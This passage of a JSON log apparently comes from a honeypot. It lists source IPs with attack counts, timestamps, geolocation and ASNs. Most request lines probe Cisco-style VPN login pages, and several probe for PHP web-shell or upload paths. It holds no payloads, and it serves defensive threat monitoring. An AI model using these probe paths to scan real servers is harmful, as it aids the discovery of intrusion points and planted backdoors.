        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "185.213.193.80": {
      "attack_count": 6,
      "first_seen": "2026-05-04T20:58:48.833Z",
      "last_seen": "2026-05-05T01:55:37.700Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "185.220.101.97": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:22:37.410Z",
      "last_seen": "2026-05-24T01:22:47.276Z",
      "ports": [],
      "event_types": [
        "\"GET /panel/main.php.2?4\u00d8\u00b6 HTTP/1.1\" 404 -",
        "\"GET /panel/webadmin.php? HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?module=upload HTTP/1.1\" 404 -",
        "\"GET /phpversions.php?module=upload&11 HTTP/1.1\" 404 -",
        "\"GET /recordings/11.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/3Zz.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "192.42.116.95": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:23:40.396Z",
      "last_seen": "2026-05-24T01:23:49.019Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/ini.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/is/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/jeep.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/just-emad.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/lol.php?123 HTTP/1.1\" 404 -",
        "\"GET /recordings/m2s.php?letter=asd HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.108.192": {
      "attack_count": 6,
      "first_seen": "2026-05-02T02:46:38.136Z",
      "last_seen": "2026-05-02T07:51:02.148Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.80": {
      "attack_count": 6,
      "first_seen": "2026-05-23T16:58:20.124Z",
      "last_seen": "2026-05-27T18:09:29.113Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.186.198": {
      "attack_count": 6,
      "first_seen": "2026-05-10T08:25:11.510Z",
      "last_seen": "2026-05-10T08:25:36.352Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "66.132.195.89": {
      "attack_count": 6,
      "first_seen": "2026-05-29T03:22:45.009Z",
      "last_seen": "2026-05-29T03:23:10.165Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "94.26.0.6": {
      "attack_count": 5,
      "first_seen": "2026-05-04T06:51:57.270Z",
      "last_seen": "2026-05-10T08:59:39.399Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 211486,
      "as_org": "Alferov Aleksey Aleksandrovich"
    },
    "146.70.171.93": {
      "attack_count": 3,
      "first_seen": "2026-05-02T05:08:03.533Z",
      "last_seen": "2026-05-02T05:08:16.930Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "216.226.76.20": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:12:00.252Z",
      "last_seen": "2026-05-24T01:13:15.430Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co."
    },
    "23.234.115.73": {
      "attack_count": 3,
      "first_seen": "2026-05-26T14:08:27.905Z",
      "last_seen": "2026-05-26T14:08:35.684Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.66": {
      "attack_count": 3,
      "first_seen": "2026-05-04T12:30:46.351Z",
      "last_seen": "2026-05-04T12:30:55.046Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "47.77.236.68": {
      "attack_count": 3,
      "first_seen": "2026-05-22T14:48:28.532Z",
      "last_seen": "2026-05-22T14:48:31.963Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "8.211.9.248": {
      "attack_count": 3,
      "first_seen": "2026-05-29T22:37:47.066Z",
      "last_seen": "2026-05-29T22:37:51.702Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "8.216.4.212": {
      "attack_count": 3,
      "first_seen": "2026-05-30T03:18:22.361Z",
      "last_seen": "2026-05-30T03:21:46.975Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "143.244.176.24": {
      "attack_count": 2,
      "first_seen": "2026-05-05T19:29:16.220Z",
      "last_seen": "2026-05-05T19:29:19.223Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "193.124.16.115": {
      "attack_count": 2,
      "first_seen": "2026-05-20T03:39:28.672Z",
      "last_seen": "2026-05-20T03:39:29.498Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Czechia",
      "country_code": "CZ",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "198.235.24.254": {
      "attack_count": 2,
      "first_seen": "2026-05-16T05:05:14.358Z",
      "last_seen": "2026-05-16T05:05:17.361Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "20.168.122.88": {
      "attack_count": 2,
      "first_seen": "2026-05-25T22:59:28.241Z",
      "last_seen": "2026-05-25T22:59:31.244Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation"
    },
    "23.234.96.207": {
      "attack_count": 2,
      "first_seen": "2026-05-25T17:21:46.988Z",
      "last_seen": "2026-05-25T17:21:50.464Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "3.141.26.222": {
      "attack_count": 2,
      "first_seen": "2026-05-29T09:11:18.424Z",
      "last_seen": "2026-05-29T09:11:21.429Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "54.197.27.123": {
      "attack_count": 2,
      "first_seen": "2026-05-29T05:34:15.287Z",
      "last_seen": "2026-05-29T05:34:18.289Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.113": {
      "attack_count": 2,
      "first_seen": "2026-05-29T08:01:05.826Z",
      "last_seen": "2026-05-29T08:01:16.508Z",
      "ports": [],
      "event_types": [
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.230": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:27:30.149Z",
      "last_seen": "2026-05-03T05:29:49.011Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.76": {
      "attack_count": 2,
      "first_seen": "2026-05-24T02:56:37.500Z",
      "last_seen": "2026-05-24T02:59:24.251Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "98.81.205.36": {
      "attack_count": 2,
      "first_seen": "2026-05-28T01:00:42.015Z",
      "last_seen": "2026-05-28T01:00:45.017Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "153.76.22.241": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:12:14.227Z",
      "last_seen": "2026-05-30T15:12:14.227Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "34.224.87.72": {
      "attack_count": 1,
      "first_seen": "2026-05-20T00:56:08.352Z",
      "last_seen": "2026-05-20T00:56:08.352Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "44.201.146.118": {
      "attack_count": 1,
      "first_seen": "2026-05-29T05:34:19.428Z",
      "last_seen": "2026-05-29T05:34:19.428Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "54.184.37.15": {
      "attack_count": 1,
      "first_seen": "2026-05-18T08:30:24.457Z",
      "last_seen": "2026-05-18T08:30:24.457Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "64.62.156.138": {
      "attack_count": 1,
      "first_seen": "2026-05-19T05:16:12.663Z",
      "last_seen": "2026-05-19T05:16:12.663Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "64.62.197.195": {
      "attack_count": 1,
      "first_seen": "2026-05-07T10:43:34.658Z",
      "last_seen": "2026-05-07T10:43:34.658Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "80.174.77.118": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:22:19.981Z",
      "last_seen": "2026-05-30T15:22:19.981Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Newport",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "87.236.176.244": {
      "attack_count": 1,
      "first_seen": "2026-05-31T04:15:48.007Z",
      "last_seen": "2026-05-31T04:15:48.007Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "91.231.89.54": {
      "attack_count": 1,
      "first_seen": "2026-05-14T02:42:18.286Z",
      "last_seen": "2026-05-14T02:42:18.286Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "193.202.11.56": {
      "attack_count": 50,
      "first_seen": "2026-05-31T00:47:45.354Z",
      "last_seen": "2026-05-31T05:20:44.734Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Israel",
      "country_code": "IL",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp"
    },
    "45.130.200.117": {
      "attack_count": 48,
      "first_seen": "2026-05-08T23:51:07.136Z",
      "last_seen": "2026-05-29T10:16:47.942Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 197854,
      "as_org": "Eisenia AB"
    },
    "185.195.233.150": {
      "attack_count": 42,
      "first_seen": "2026-05-09T06:14:12.663Z",
      "last_seen": "2026-05-27T12:47:54.962Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 39351,
      "as_org": "31173 Services AB"
    },
    "23.234.72.207": {
      "attack_count": 42,
      "first_seen": "2026-05-02T00:29:28.616Z",
      "last_seen": "2026-05-27T23:54:59.989Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.138": {
      "attack_count": 42,
      "first_seen": "2026-05-05T14:02:17.541Z",
      "last_seen": "2026-05-27T16:12:13.744Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.111.207": {
      "attack_count": 39,
      "first_seen": "2026-05-05T21:02:45.548Z",
      "last_seen": "2026-05-27T04:13:23.437Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.217.55": {
      "attack_count": 39,
      "first_seen": "2026-05-09T03:44:47.949Z",
      "last_seen": "2026-05-31T04:04:40.925Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.163": {
      "attack_count": 36,
      "first_seen": "2026-05-03T10:03:18.053Z",
      "last_seen": "2026-05-29T18:53:31.022Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "45.134.142.208": {
      "attack_count": 36,
      "first_seen": "2026-05-05T20:35:36.137Z",
      "last_seen": "2026-05-30T10:17:36.040Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "103.81.231.200": {
      "attack_count": 33,
      "first_seen": "2026-05-03T13:07:29.518Z",
      "last_seen": "2026-05-30T11:33:58.817Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "173.249.255.86": {
      "attack_count": 30,
      "first_seen": "2026-05-04T19:07:28.731Z",
      "last_seen": "2026-05-29T21:16:50.957Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.108.207": {
      "attack_count": 30,
      "first_seen": "2026-05-04T18:20:23.744Z",
      "last_seen": "2026-05-29T12:12:23.724Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.115.200": {
      "attack_count": 30,
      "first_seen": "2026-05-05T11:14:36.301Z",
      "last_seen": "2026-05-27T21:55:44.192Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "166.1.196.212": {
      "attack_count": 28,
      "first_seen": "2026-05-29T02:16:52.303Z",
      "last_seen": "2026-05-30T14:57:21.581Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "103.251.26.200": {
      "attack_count": 27,
      "first_seen": "2026-05-04T15:30:19.697Z",
      "last_seen": "2026-05-24T03:32:03.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "103.251.27.24": {
      "attack_count": 27,
      "first_seen": "2026-05-05T15:37:22.990Z",
      "last_seen": "2026-05-29T03:34:52.318Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "185.156.46.162": {
      "attack_count": 27,
      "first_seen": "2026-05-04T20:54:20.521Z",
      "last_seen": "2026-05-27T13:46:05.098Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.88.80": {
      "attack_count": 27,
      "first_seen": "2026-05-04T15:58:18.097Z",
      "last_seen": "2026-05-27T15:42:48.336Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.94.73": {
      "attack_count": 27,
      "first_seen": "2026-05-03T18:31:46.028Z",
      "last_seen": "2026-05-25T14:31:03.626Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.33": {
      "attack_count": 27,
      "first_seen": "2026-05-08T13:40:48.907Z",
      "last_seen": "2026-05-27T18:33:24.723Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.90.24": {
      "attack_count": 24,
      "first_seen": "2026-05-06T00:18:32.318Z",
      "last_seen": "2026-05-23T05:10:38.831Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.222.202": {
      "attack_count": 24,
      "first_seen": "2026-05-02T01:33:14.316Z",
      "last_seen": "2026-05-29T01:06:03.141Z",
      "ports": [],
      "event_types": [
